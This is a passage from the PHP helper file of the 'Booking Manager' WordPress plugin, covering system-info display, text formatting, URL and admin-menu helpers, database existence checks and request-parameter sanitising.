'PHP IPTC support' => $iptcparse, 'PHP XML support' => $xml_parser_create ); $system_info['php_info']['PHP cURL'] = ( function_exists('curl_init') ) ? 'On' : 'Off'; $system_info['php_info']['Max Nesting Level'] = ( ( ini_get( 'max_input_nesting_level' ) ) ? ini_get( 'max_input_nesting_level' ) : 'N/A' ); $system_info['php_info']['Max Time 4 script'] = ( ( ini_get( 'max_input_time' ) ) ? ini_get( 'max_input_time' ) : 'N/A' ); //Maximum amount of time each script may spend parsing request data $system_info['php_info']['Log'] = ( ( ini_get( 'error_log' ) ) ? ini_get( 'error_log' ) : 'N/A' ); if ( ini_get( "suhosin.get.max_value_length" ) ) { $system_info['suhosin_info'] = array(); $system_info['suhosin_info']['POST max_array_index_length'] = ( ( ini_get( 'suhosin.post.max_array_index_length' ) ) ? ini_get( 'suhosin.post.max_array_index_length' ) : 'N/A' ); $system_info['suhosin_info']['REQUEST max_array_index_length'] = ( ( ini_get( 'suhosin.request.max_array_index_length' ) ) ? ini_get( 'suhosin.request.max_array_index_length' ) : 'N/A' ); $system_info['suhosin_info']['POST max_totalname_length'] = ( ( ini_get( 'suhosin.post.max_totalname_length' ) ) ? ini_get( 'suhosin.post.max_totalname_length' ) : 'N/A' ); $system_info['suhosin_info']['REQUEST max_totalname_length'] = ( ( ini_get( 'suhosin.request.max_totalname_length' ) ) ? ini_get( 'suhosin.request.max_totalname_length' ) : 'N/A' ); $system_info['suhosin_info']['POST max_vars'] = ( ( ini_get( 'suhosin.post.max_vars' ) ) ? ini_get( 'suhosin.post.max_vars' ) : 'N/A' ); $system_info['suhosin_info']['REQUEST max_vars'] = ( ( ini_get( 'suhosin.request.max_vars' ) ) ? ini_get( 'suhosin.request.max_vars' ) : 'N/A' ); $system_info['suhosin_info']['POST max_value_length'] = ( ( ini_get( 'suhosin.post.max_value_length' ) ) ? ini_get( 'suhosin.post.max_value_length' ) : 'N/A' ); $system_info['suhosin_info']['REQUEST max_value_length'] = ( ( ini_get( 'suhosin.request.max_value_length' ) ) ? ini_get( 'suhosin.request.max_value_length' ) : 'N/A' ); $system_info['suhosin_info']['POST max_name_length'] = ( ( ini_get( 'suhosin.post.max_name_length' ) ) ? ini_get( 'suhosin.post.max_name_length' ) : 'N/A' ); $system_info['suhosin_info']['REQUEST max_varname_length'] = ( ( ini_get( 'suhosin.request.max_varname_length' ) ) ? ini_get( 'suhosin.request.max_varname_length' ) : 'N/A' ); $system_info['suhosin_info']['POST max_array_depth'] = ( ( ini_get( 'suhosin.post.max_array_depth' ) ) ? ini_get( 'suhosin.post.max_array_depth' ) : 'N/A' ); $system_info['suhosin_info']['REQUEST max_array_depth'] = ( ( ini_get( 'suhosin.request.max_array_depth' ) ) ? ini_get( 'suhosin.request.max_array_depth' ) : 'N/A' ); } if ( function_exists('gd_info') ) { $gd_info = gd_info(); if ( isset( $gd_info['GD Version'] ) ) $gd_info = $gd_info['GD Version']; else $gd_info = json_encode( $gd_info ); } else { $gd_info = 'Off'; } $system_info['php_info']['PHP GD'] = $gd_info; // More here https://docs.woocommerce.com/document/problems-with-large-amounts-of-data-not-saving-variations-rates-etc/ foreach ( $all_plugins as $path => $plugin ) { if ( is_plugin_active( $path ) ) { $system_info['active_plugins'][ $plugin['Name'] ] = $plugin['Version']; } else { $system_info['inactive_plugins'][ $plugin['Name'] ] = $plugin['Version']; } } // Showing foreach ( $system_info as $section_name => $section_values ) { ?> <span class="wpdevelop"> <table class="table table-striped table-bordered"> <thead><tr><th colspan="2" style="border-bottom: 1px solid #eeeeee;padding: 10px;"><?php echo strtoupper( $section_name ); ?></th></tr></thead> <tbody> <?php if ( !empty( $section_values ) ) { foreach ( $section_values as $key => $value ) { ?> <tr> <td scope="row" style="width:18em;padding:4px 8px;"><?php echo $key; ?></td> <td scope="row" style="padding:4px 8px;"><?php echo $value; ?></td> </tr> <?php } } ?> </tbody> </table> </span> <div class="clear"></div> <?php } ?> <hr> <div style="color:#777;"> <h4 style="font-size:1.1em;">Commonly required configuration vars in php.ini file:</h4> <h4>General section:</h4> <pre><code>memory_limit = 256M max_execution_time = 120 post_max_size = 8M upload_max_filesize = 8M max_input_vars = 20480 post_max_size = 64M</code></pre> <h4>Suhosin section (if installed):</h4> <pre><code>suhosin.post.max_array_index_length = 1024 suhosin.post.max_totalname_length = 65535 suhosin.post.max_vars = 2048 suhosin.post.max_value_length = 1000000 suhosin.post.max_name_length = 256 suhosin.post.max_array_depth = 1000 suhosin.request.max_array_index_length = 1024 suhosin.request.max_totalname_length = 65535 suhosin.request.max_vars = 2048 suhosin.request.max_value_length = 1000000 suhosin.request.max_varname_length = 256 suhosin.request.max_array_depth = 1000</code></pre> </div> <?php // phpinfo(); } } /** Check if "Booking Calendar" installed/activated and return version number * * @return string - 0 if not installed, otherwise version num */ function wpbm_get_wpbc_version() { if ( ! defined( 'WP_BK_VERSION_NUM' ) ) return 0; else return WP_BK_VERSION_NUM; } /** Is activated Booking Calendar support WPBM * * @return boolean */ function wpbm_is_wpbc_supported() { // 7.2.1 - its start version of Booking Calendar which support integration with Booking Manager 2.0 if ( version_compare( wpbm_get_wpbc_version(), '9.8') >= 0 ) { return true; } else { return false; } } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" F o r m a t t i n g " > //////////////////////////////////////////////////////////////////////////////// // F o r m a t t i n g //////////////////////////////////////////////////////////////////////////////// /** * Sanitize term to Slug format (no spaces, lowercase). * urldecode - reverse munging of UTF8 characters. * * @param mixed $value * @return string */ function wpbm_get_slug_format( $value ) { return urldecode( sanitize_title( $value ) ); } /** * Get Slug Format Option Value for saving to the options table. * Replacing - to _ and restrict length to 64 characters. * * @param string $value * @return string */ function wpbm_get_slug_format_4_option_name( $value ) { $value = wpbm_get_slug_format( $value ); $value = str_replace('-', '_', $value); $value = substr($value, 0, 64); return $value; } /** Insert New Line symbols after <br> tags. Usefull for the settings pages to show in redable view * * @param type $param * @return type */ function wpbm_nl_after_br($param) { $value = preg_replace( "@(<|<)br\s*/?(>|>)(\r\n)?@", "<br/>", $param ); return $value; } /** * Replace ** to <strong> and * to <em> * * @param String $text * @return string */ if ( ! function_exists( 'wpbm_recheck_strong_symbols' ) ) { function wpbm_recheck_strong_symbols( $text ){ $patterns = '/(\*\*)(\s*[^\*\*]*)(\*\*)/'; $replacement = '<strong>${2}</strong>'; $value_return = preg_replace($patterns, $replacement, $text); $patterns = '/(\*)(\s*[^\*]*)(\*)/'; $replacement = '<em>${2}</em>'; $value_return = preg_replace($patterns, $replacement, $value_return); return $value_return; } } /** Esacpe and replace any HTML entities * * @param type $string * @return string */ function wpbm_esc_to_plain_text( $string ) { // //Replace <a href="http://server.com">Link</a> to Link( http://server.com ) // $pattern = "/<a(.*)+href=[\"|']+([^\"']+)(?=(\"|'))[^>]*>(.*)<\/a>/" ; //"/(?<=href=(\"|'))[^\"']+(?=(\"|'))/i"; // $newurl = "$4 ($2)"; // $string = preg_replace($pattern,$newurl,$string); // List of preg* regular expression patterns to search for replace in plain emails. More: https://raw.github.com/ushahidi/wp-silcc/master/class.html2text.inc $plain_search_array = array( "/\r/", // Non-legal carriage return '/&(nbsp|#160);/i', // Non-breaking space '/&(quot|rdquo|ldquo|#8220|#8221|#147|#148|#34|#034);/i', // Double quotes //FixIn: 2.0.1.6 '/&(apos|rsquo|lsquo|#8216|#8217|#39|#039);/i', // Single quotes //FixIn: 2.0.1.6 '/>/i', // Greater-than '/</i', // Less-than '/&/i', // Ampersand '/&/i', // Ampersand '/&/i', // Ampersand '/&(copy|#169);/i', // Copyright '/&(trade|#8482|#153);/i', // Trademark '/&(reg|#174);/i', // Registered '/&(mdash|#151|#8212);/i', // mdash '/&(ndash|minus|#8211|#8722);/i', // ndash '/&(bull|#149|#8226);/i', // Bullet '/&(pound|#163);/i', // Pound sign '/&(euro|#8364);/i', // Euro sign '/$/', // Dollar sign '/&[^&;]+;/i', // Unknown/unhandled entities '/[ ]{2,}/' // Runs of spaces, post-handling ); // List of symbols for Replace $get_plain_replace_array = array( '', // Non-legal carriage return ' ', // Non-breaking space '"', // Double quotes "'", // Single quotes '>', // Greater-than '<', // Less-than '&', // Ampersand '&', // Ampersand '&', // Ampersand '(c)', // Copyright '(tm)', // Trademark '(R)', // Registered '--', // mdash '-', // ndash '*', // Bullet '£', // Pound sign 'EUR', // Euro sign. € ? '$', // Dollar sign '', // Unknown/unhandled entities ' ' // Runs of spaces, post-handling ); $newstring = preg_replace( $plain_search_array, $get_plain_replace_array, strip_tags( $string ) ); return $newstring; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" S u p p o r t " > //////////////////////////////////////////////////////////////////////////////// // S u p p o r t Functions //////////////////////////////////////////////////////////////////////////////// /** Replace shortcodes in string * * @param string $subject - string to manipulate * @param array $replace_array - array with values to replace // array( [wpbm_id] => 9, [id] => 9, [dates] => July 3, 2016 14:00 - July 4, 2016 16:00, .... ) * @param mixed $replace_unknown_shortcodes - replace unknown params, if false, then no replace unknown params * @return string */ function wpbm_replace_shortcodes( $subject, $replace_array , $replace_unknown_shortcodes = ' ' ) { $defaults = array( 'ip' => apply_wpbm_filter( 'wpbm_get_user_ip' ) , 'blogname' => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ) , 'siteurl' => get_site_url() ); $replace = wp_parse_args( $replace_array, $defaults ); foreach ( $replace as $replace_shortcode => $replace_value ) { $subject = str_replace( array( '[' . $replace_shortcode . ']' , '{' . $replace_shortcode . '}' ) , $replace_value , $subject ); } // Remove all shortcodes, which is not replaced early. if ( $replace_unknown_shortcodes !== false ) $subject = preg_replace( '/[\s]{0,}[\[\{]{1}[a-zA-Z][0-9a-zA-Z:._-]{0,}[\]\}]{1}[\s]{0,}/', $replace_unknown_shortcodes, $subject ); return $subject; } /** Simple hack to make array strings lowercase * * @param type $array * @return type */ function wpbm_arraytolower( $array ){ return unserialize( strtolower( serialize( $array ) ) ); } /** Support 'hash_equals' this function at older servers than PHP 5.6.0 */ if ( !function_exists( 'hash_equals' ) ) { function hash_equals( $known_string, $user_string ) { $ret = 0; if ( strlen( $known_string ) !== strlen( $user_string ) ) { $user_string = $known_string; $ret = 1; } $res = $known_string ^ $user_string; for ( $i = strlen( $res ) - 1; $i >= 0; --$i ) { $ret |= ord( $res[$i] ); } return !$ret; } } /** Check if this valid timestamp * * @param string|int $timestamp * @return bool */ function wpbm_is_valid_timestamp( $timestamp ) { return ( ( (string) (int) $timestamp === $timestamp) && ($timestamp <= PHP_INT_MAX) && ($timestamp >= ~PHP_INT_MAX) ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" F i l e s && U R L s " > //////////////////////////////////////////////////////////////////////////////// // F i l e s && U R L s //////////////////////////////////////////////////////////////////////////////// /** Get absolute URL to relative plugin path. * Depend from the WPBM_MIN contant can be load minified version of file, if its exist * @param string $path - path * @return string */ function wpbm_plugin_url( $path ) { if ( ( defined( 'WPBM_MIN' ) ) && ( WPBM_MIN ) ){ $path_min = $path; if ( substr( $path_min , -3 ) === '.js' ) { $path_min = substr( $path_min , 0, -3 ) . '.min.js'; } if ( substr( $path_min , -4 ) === '.css' ) { $path_min = substr( $path_min , 0, -4 ) . '.min.css'; } if ( file_exists( trailingslashit( WPBM_PLUGIN_DIR ) . ltrim( $path_min, '/\\' ) ) ) // check if this file exist return trailingslashit( WPBM_PLUGIN_URL ) . ltrim( $path_min, '/\\' ); } return trailingslashit( WPBM_PLUGIN_URL ) . ltrim( $path, '/\\' ); } /** Check if such file exist or not. * * @param string $path - relative path to file (relative to plugin folder). * @return boolean true | false */ function wpbm_is_file_exist( $path ) { if ( file_exists( trailingslashit( WPBM_PLUGIN_DIR ) . ltrim( $path, '/\\' ) ) ) // check if this file exist return true; else return false; } /** Set URL from absolute to relative (starting from /) * * @param type $url * @return type */ function wpbm_set_relative_url( $url ){ $url = esc_url_raw($url); $url_path = parse_url($url, PHP_URL_PATH); $url_path = ( empty($url_path) ? $url : $url_path ); $url = trim($url_path, '/'); return '/' . $url; } /** Get Correct Relative URL * * @param type $link * @return string */ function wpbm_make_link_relative( $link ){ if ( $link == get_option('siteurl') ) $link = '/'; $link = '/' . trim( wp_make_link_relative( $link ), '/' ); return $link; } /** Get Correct Absolute URL * * @param string $link * @return type */ function wpbm_make_link_absolute( $link ){ if ( ( $link != get_option('siteurl') ) && ( strpos($link, 'http') !== 0 ) ) $link = get_option('siteurl') . '/' . trim( wp_make_link_relative( $link ), '/' ); return esc_js( $link ) ; } if (!function_exists ('get_file_data_wpdev')) { /** Get header info from this file, just for compatibility with WordPress 2.8 and older versions * * @param type $file * @param type $default_headers * @param type $context * @return type */ function get_file_data_wpdev( $file, $default_headers, $context = '' ) { // We don't need to write to the file, so just open for reading. $fp = fopen( $file, 'r' ); // Pull only the first 8kiB of the file in. $file_data = fread( $fp, 8192 ); // PHP will close file handle, but we are good citizens. fclose( $fp ); if( $context != '' ) { $extra_headers = array(); //apply_filters( "extra_$context".'_headers', array() ); $extra_headers = array_flip( $extra_headers ); foreach( $extra_headers as $key=>$value ) { $extra_headers[$key] = $key; } $all_headers = array_merge($extra_headers, $default_headers); } else { $all_headers = $default_headers; } foreach ( $all_headers as $field => $regex ) { preg_match( '/' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, ${$field}); if ( !empty( ${$field} ) ) ${$field} = trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', ${$field}[1] )); else ${$field} = ''; } $file_data = compact( array_keys( $all_headers ) ); return $file_data; } } /** Get content from specific URL * * @param string $url * @return string|boolean (false on error) */ function wpbm_get_ssl_page_content( $url ) { $request = new WP_Http(); $result = $request->request( $url , array( // Default Parameters 'reject_unsafe_urls' => true, //FixIn: 2.0.29.1 'user-agent' => 'Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405' //FixIn: 2.0.12.1 // 'method' => 'GET', // 'timeout' => 5, // timeout value for an HTTP request. // 'redirection' => 5, // number of redirects allowed during an HTTP request. // 'httpversion' => '1.0', // 'user-agent' => 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), // 'reject_unsafe_urls' => false, // 'blocking' => true, // 'headers' => array(), // 'cookies' => array(), // 'body' => null, // 'compress' => false, // 'decompress' => true, // 'sslverify' => true, // 'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt', // 'stream' => false, // 'filename' => null, // 'limit_response_size' => null ) ); if ( ( ! is_wp_error( $result ) ) && ( $result[ 'response' ][ 'code' ] == '200' ) ) { return $result[ 'body' ]; } else { //FixIn: 2.0.2.2 if ( is_wp_error( $result ) ) { $error_message = $result->get_error_message(); } else { $error_message = __( 'Unknown error during downloading feed', 'booking-manager' ); // Show more detail info of not ability to download .ics feeds. //FixIn: 2.0.10.5 $error_message .= $result[ 'body' ]; //do_action( 'wpbc_admin_show_top_notice', $error_message, 'error', 5000 ); //die; } do_action( 'wpbc_admin_show_top_notice', $error_message, 'error', 5000 ); // N_O_T_I_C_E in H_E_A_D_E_R // debuge($error_message); //FixIn: 2.0.1.3 //FixIn: 2.0.8.2 return false; } } /** Count the number of bytes of a given string. * Input string is expected to be ASCII or UTF-8 encoded. * Warning: the function doesn't return the number of chars * in the string, but the number of bytes. * See http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 * for information on UTF-8. * * @param string $str The string to compute number of bytes * * @return The length in bytes of the given string. */ function wpbm_get_bytes_from_str( $str ) { // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT // Number of characters in string $strlen_var = strlen( $str ); $d = 0; // string bytes counter // Iterate over every character in the string, escaping with a slash or encoding to UTF-8 where necessary for ( $c = 0; $c < $strlen_var; ++ $c ) { $ord_var_c = ord( $str[$c] ); //FixIn: 2.0.17.1 switch ( true ) { case(($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): // characters U-00000000 - U-0000007F (same as ASCII) $d ++; break; case(($ord_var_c & 0xE0) == 0xC0): // characters U-00000080 - U-000007FF, mask 110XXXXX $d += 2; break; case(($ord_var_c & 0xF0) == 0xE0): // characters U-00000800 - U-0000FFFF, mask 1110XXXX $d += 3; break; case(($ord_var_c & 0xF8) == 0xF0): // characters U-00010000 - U-001FFFFF, mask 11110XXX $d += 4; break; case(($ord_var_c & 0xFC) == 0xF8): // characters U-00200000 - U-03FFFFFF, mask 111110XX $d += 5; break; case(($ord_var_c & 0xFE) == 0xFC): // characters U-04000000 - U-7FFFFFFF, mask 1111110X $d += 6; break; default: $d ++; } } return $d; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" A d m i n M e n u L i n k s " > //////////////////////////////////////////////////////////////////////////// // A d m i n M e n u L i n k s //////////////////////////////////////////////////////////////////////////// /** Get URL to specific Admin Menu page * * @param string $menu_type - { item | add | resources | settings } * @param boolean $is_absolute_url - Absolute or relative url { default: true } * @return string - URL to menu */ function wpbm_get_menu_url( $menu_type, $is_absolute_url = true ) { switch ( $menu_type) { case 'master': // Master $link = 'oplugins&tab=wpbm'; break; case 'add': // Add New case 'new': // Add New $link = 'oplugins&wpbm-new'; break; case 'settings': // Settings case 'options': $link = 'oplugins&tab=wpbm-settings'; break; default: // Master $link = 'oplugins'; break; } if ( $is_absolute_url ) { $link = admin_url( 'admin.php' ) . '?page=' . $link ; } return $link; } // // // // // // // // // // // // // // // // // // // // // // // // // / /** Get URL of item Listing or Calendar Overview page * * @param boolean $is_absolute_url - Absolute or relative url { default: true } * @param boolean $is_old - { default: true } * @return string - URL to menu */ function wpbm_get_master_url( $is_absolute_url = true ) { return wpbm_get_menu_url( 'master', $is_absolute_url ); } /** Get URL of item > Add item page * * @param boolean $is_absolute_url - Absolute or relative url { default: true } * @param boolean $is_old - { default: true } * @return string - URL to menu */ function wpbm_get_new_wpbm_url( $is_absolute_url = true ) { return wpbm_get_menu_url( 'add', $is_absolute_url ); } /** Get URL of item > Settings page * * @param boolean $is_absolute_url - Absolute or relative url { default: true } * @param boolean $is_old - { default: true } * @return string - URL to menu */ function wpbm_get_settings_url( $is_absolute_url = true ) { return wpbm_get_menu_url( 'settings', $is_absolute_url ); } // // // // // // // // // // // // // // // // // // // // // // // // // / /** Check if this item Listing or Calendar Overview page * @param string $server_param - 'REQUEST_URI' | 'HTTP_REFERER' Default: 'REQUEST_URI' * @return boolean true | false */ function wpbm_is_master_page( $server_param = 'REQUEST_URI' ) { if ( ( is_admin() ) && ( strpos($_SERVER[ $server_param ],'page=oplugins') !== false ) && ( strpos($_SERVER[ $server_param ],'tab=wpbm-') === false ) && // not the settings ( ( strpos($_SERVER[ $server_param ],'tab=wpbm') !== false ) // tab specified || ( strpos($_SERVER[ $server_param ],'tab=') === false ) ) // or tab not specified at all ) { return true; } return false; } /** Check if this item > Add item page * @param string $server_param - 'REQUEST_URI' | 'HTTP_REFERER' Default: 'REQUEST_URI' * @return boolean true | false */ function wpbm_is_new_wpbm_page( $server_param = 'REQUEST_URI' ) { if ( ( is_admin() ) && ( strpos($_SERVER[ $server_param ],'page=oplugins') !== false ) && ( strpos($_SERVER[ $server_param ],'tab=wpbm-new') !== false ) ) { return true; } return false; } /** Check if this item > Settings page * @param string $server_param - 'REQUEST_URI' | 'HTTP_REFERER' Default: 'REQUEST_URI' * @return boolean true | false */ function wpbm_is_settings_page( $server_param = 'REQUEST_URI' ) { if ( ( is_admin() ) && ( strpos($_SERVER[ $server_param ],'page=oplugins') !== false ) && ( strpos($_SERVER[ $server_param ],'tab=wpbm-settings') !== false ) ) { return true; } return false; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" A d m i n U I E l e m e n t s " > //////////////////////////////////////////////////////////////////////////// // A d m i n U I E l e m e n t s //////////////////////////////////////////////////////////////////////////// /** Get Number of new items * * @return int */ function wpbm_get_number_new_items(){ return 0; } /** Show Admin B A R . * * @global type $wp_admin_bar * @return type */ function wp_admin_bar_items_menu(){ global $wp_admin_bar; $current_user = wp_get_current_user(); $curr_user_role = get_wpbm_option( 'wpbm_user_role_master' ); $level = 10; if ($curr_user_role == 'administrator') $level = 10; else if ($curr_user_role == 'editor') $level = 7; else if ($curr_user_role == 'author') $level = 2; else if ($curr_user_role == 'contributor') $level = 1; else if ($curr_user_role == 'subscriber') $level = 0; if ( ( $current_user->user_level < $level ) || ! is_admin_bar_showing() ) return; $update_count = wpbm_get_number_new_items(); // 0 $title = 'Booking Manager'; $update_title = $title; if ( $update_count > 0 ) { $update_count_title = " <span class='wpbm-count bk-update-count' style='background: #f0f0f1;color: #2c3338;display: inline;padding: 2px 5px;font-weight: 600;border-radius: 10px;'>" . number_format_i18n($update_count) . "</span>" ; //id='wpbm-count' $update_title .= $update_count_title; } $link_items = wpbm_get_master_url(); $link_settings = wpbm_get_settings_url(); $wp_admin_bar->add_menu( array( 'id' => 'bar_wpbm', 'title' => $update_title , 'href' => wpbm_get_master_url() ) ); $curr_user_role_settings = get_wpbm_option( 'wpbm_user_role_settings' ); $level = 10; if ($curr_user_role_settings == 'administrator') $level = 10; else if ($curr_user_role_settings == 'editor') $level = 7; else if ($curr_user_role_settings == 'author') $level = 2; else if ($curr_user_role_settings == 'contributor') $level = 1; else if ($curr_user_role_settings == 'subscriber') $level = 0; if ( ( ($current_user->user_level < $level) ) || !is_admin_bar_showing() ) return; $wp_admin_bar->add_menu( array( 'id' => 'bar_wpbm_new', 'title' => __( 'Add New', 'booking-manager'), 'href' => wpbm_get_new_wpbm_url(), 'parent' => 'bar_wpbm', ) ); $wp_admin_bar->add_menu( array( 'id' => 'bar_wpbm_settings', 'title' => __( 'Settings', 'booking-manager'), 'href' => wpbm_get_settings_url(), 'parent' => 'bar_wpbm', ) ); $wp_admin_bar->add_menu( array( 'id' => 'bar_wpbm_settings_email', 'title' => __( 'Emails', 'booking-manager'), 'href' => $link_settings . '&tab=email', 'parent' => 'bar_wpbm_settings' ) ); } // add_action( 'admin_bar_menu', 'wp_admin_bar_items_menu', 70 ); // Add Admin Bar /** Show Rating link at footer */ function wpbm_show_wpbm_footer(){ if ( ! wpbm_is_this_demo() ) { $message = sprintf( __( 'If you like %s please leave us a %s rating. A huge thank you in advance!', 'booking-manager') , '<strong>Booking Manager</strong>' . ' ' . WPBM_VERSION_NUM , '<a href="https://wordpress.org/support/plugin/booking-manager/reviews/#new-post" target="_blank" title="' . esc_attr__( 'Thanks :)', 'booking-manager') . '">' . '★★★★★' . '</a>' ); echo '<div id="wpbm-footer" style="position:absolute;bottom:40px;text-align:left;width:95%;font-size:0.9em;text-shadow:0 1px 0 #fff;margin:0;color:#888;">' . $message . '</div>'; ?> <script type="text/javascript"> jQuery(document).ready(function(){ jQuery('#wpfooter').append( jQuery('#wpbm-footer') ); }); </script> <?php } } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" DB - cheking if table, field or index exists " > //////////////////////////////////////////////////////////////////////////// // DB - cheking if table, field or index exists //////////////////////////////////////////////////////////////////////////// /** * Check if table exist * * @global type $wpdb * @param string $tablename * @return 0|1 */ function wpbm_is_table_exists( $tablename ) { global $wpdb; if ( (! empty($wpdb->prefix) ) && ( strpos($tablename, $wpdb->prefix) === false ) ) $tablename = $wpdb->prefix . $tablename ; $sql_check_table = $wpdb->prepare("SHOW TABLES LIKE %s" , $tablename ); //FixIn 5.4.3 $res = $wpdb->get_results( $sql_check_table ); return count($res); //FixIn 5.4.3 /* $sql_check_table = $wpdb->prepare(" SELECT COUNT(*) AS count FROM information_schema.tables WHERE table_schema = '". DB_NAME ."' AND table_name = %s " , $tablename ); $res = $wpdb->get_results( $sql_check_table ); return $res[0]->count;*/ } /** * Check if table exist * * @global type $wpdb * @param string $tablename * @param type $fieldname * @return 0|1 */ function wpbm_is_field_in_table_exists( $tablename , $fieldname) { global $wpdb; if ( (! empty($wpdb->prefix) ) && ( strpos($tablename, $wpdb->prefix) === false ) ) $tablename = $wpdb->prefix . $tablename ; $sql_check_table = "SHOW COLUMNS FROM {$tablename}" ; $res = $wpdb->get_results( $sql_check_table ); foreach ($res as $fld) { if ($fld->Field == $fieldname) return 1; } return 0; } /** * Check if index exist * * @global type $wpdb * @param string $tablename * @param type $fieldindex * @return 0|1 */ function wpbm_is_index_in_table_exists( $tablename , $fieldindex) { global $wpdb; if ( (! empty($wpdb->prefix) ) && ( strpos($tablename, $wpdb->prefix) === false ) ) $tablename = $wpdb->prefix . $tablename ; $sql_check_table = $wpdb->prepare("SHOW INDEX FROM {$tablename} WHERE Key_name = %s", $fieldindex ); $res = $wpdb->get_results( $sql_check_table ); if (count($res)>0) return 1; else return 0; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" E s c a p i n g " > //////////////////////////////////////////////////////////////////////////// // E s c a p i n g //////////////////////////////////////////////////////////////////////////// /** Transform the REQESTS parameters (GET and POST) into URL * * @param type $page_param * @param array $exclude_params * @param type $only_these_parameters * @return type */ function wpbm_get_params_in_url( $page_param , $exclude_params = array(), $only_these_parameters = false, $is_escape_url = false, $only_get = false ){ $exclude_params[] = 'page'; if ( isset( $_GET['page'] ) ) $page_param = $_GET['page']; $get_paramaters = array( 'page' => $page_param ); if ( $only_get ) $check_params = $_GET; else $check_params = $_REQUEST; //debuge($check_params); foreach ( $check_params as $prm_key => $prm_value ) { // Skip parameters arrays, like $_GET['rvaluation_to'] = Array ( [0] => 6, [1] => 14, [2] => 14 ) if ( ( is_string( $prm_value ) ) || ( is_numeric( $prm_value ) ) ) { if ( strlen( $prm_value ) > 1000 ) { // Check about TOOO long parameters, if it exist then reset it. $prm_value = ''; } if ( ! in_array( $prm_key, $exclude_params ) ) if ( ( $only_these_parameters === false ) || ( in_array( $prm_key, $only_these_parameters ) ) ) $get_paramaters[ $prm_key ] = $prm_value; } } //debuge($check_params, $get_paramaters, $exclude_params ); $url = admin_url( add_query_arg( $get_paramaters , 'admin.php' ) ); if ( $is_escape_url ) $url = esc_url( $url ); return $url; /* // Old variant: if ( isset( $_GET['page'] ) ) $page_param = $_GET['page']; $url_start = 'admin.php?page=' . $page_param . '&'; $exclude_params[] = 'page'; foreach ( $_REQUEST as $prm_key => $prm_value ) { if ( !in_array( $prm_key, $exclude_params ) ) if ( ($only_these_parameters === false) || ( in_array( $prm_key, $only_these_parameters ) ) ) $url_start .= $prm_key . '=' . $prm_value . '&'; } $url_start = substr( $url_start, 0, -1 ); return $url_start; */ } /** Clean Request Parameters * */ function wpbm_check_request_paramters() { $clean_params = array(); $clean_params[ 'wh_wpbm_id' ] = 'digit_or_csd'; // '0' | '1' | '' $clean_params[ 'wh_wpbm_date' ] = 'digit_or_date'; // number | date 2016-07-20 $clean_params[ 'wh_wpbm_datenext' ] = 'd'; // '1' | '2' .... $clean_params[ 'wh_pay_statuscustom' ] = 's'; //string !!! LIKE !!! $clean_params[ 'wh_pay_status' ] = array( 'all', 'group_ok', 'group_unknown', 'group_pending', 'group_failed' ); foreach ( $clean_params as $request_key => $clean_type ) { // elements only listed in array:: if ( is_array( $clean_type ) ) { // check only values from the list in this array if ( ( isset( $_REQUEST[ $request_key ] ) ) && ( ! in_array( $_REQUEST[ $request_key ], $clean_type ) ) ) $clean_type = 's'; else $clean_type = 'checked_skip_it'; } switch ( $clean_type ) { case 'checked_skip_it': break; case 'digit_or_date': // digit or comma separated digit if ( isset( $_REQUEST[ $request_key ] ) ) $_REQUEST[ $request_key ] = wpbm_clean_digit_or_date( $_REQUEST[ $request_key ] ); // nums break; case 'digit_or_csd': // digit or comma separated digit if ( isset( $_REQUEST[ $request_key ] ) ) $_REQUEST[ $request_key ] = wpbm_clean_digit_or_csd( $_REQUEST[ $request_key ] ); // nums break; case 's': // string if ( isset( $_REQUEST[ $request_key ] ) ) $_REQUEST[ $request_key ] = wpbm_clean_like_string_for_db( $_REQUEST[ $request_key ] ); break; case 'd': // digit if ( isset( $_REQUEST[ $request_key ] ) ) if ( $_REQUEST[ $request_key ] !== '' ) $_REQUEST[ $request_key ] = intval( $_REQUEST[ $request_key ] ); break; default: if ( isset( $_REQUEST[ $request_key ] ) ) { $_REQUEST[ $request_key ] = intval( $_REQUEST[ $request_key ] ); } break; } } } /** Check paramter if it number or comma separated list of numbers * * @global type $wpdb * @param string $value * @return string * * Exmaple: wpbm_clean_digit_or_csd( '12,a,45,9' ) => '12,0,45,9' * or wpbm_clean_digit_or_csd( '10a' ) => '10 * or wpbm_clean_digit_or_csd( array( '12,a,45,9', '10a' ) ) => array ( '12,0,45,9', '10' ) */ function wpbm_clean_digit_or_csd( $value ) { //FixIn:6.2.1.4 if ( $value === '' ) return $value; if ( is_array( $value ) ) { foreach ( $value as $key => $check_value ) { $value[ $key ] = wpbm_clean_digit_or_csd( $check_value ); } return $value; } global $wpdb; $value = str_replace( ';', ',', $value ); $array_of_nums = explode(',', $value); $result = array(); foreach ($array_of_nums as $check_element) { $result[] = $wpdb->prepare( "%d", $check_element ); } $result = implode(',', $result ); return $result; } /** Cehck about Valid date, like 2016-07-20 or digit * * @param string $value * @return string or int */ function wpbm_clean_digit_or_date( $value ) { //FixIn:6.2.1.4 if ( $value === '' ) return $value; if ( preg_match("/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])$/", $value ) ) { return $value; // Date is valid in format: 2016-07-20 } else { return intval( $value ); } } /** Check $value for injection here * * @param type $value * @return type */ function wpbm_clean_parameter( $value ) { $value = preg_replace( '/<[^>]*>/', '', $value ); // clean any tags $value = str_replace( '<', ' ', $value ); $value = str_replace( '>', ' ', $value ); $value = strip_tags( $value ); // Clean SQL injection $value = esc_sql( $value ); return $value; } function wpbm_esc_like( $value_trimmed ) { global $wpdb; if ( method_exists( $wpdb ,'esc_like' ) ) return $wpdb->esc_like( $value_trimmed ); // Its 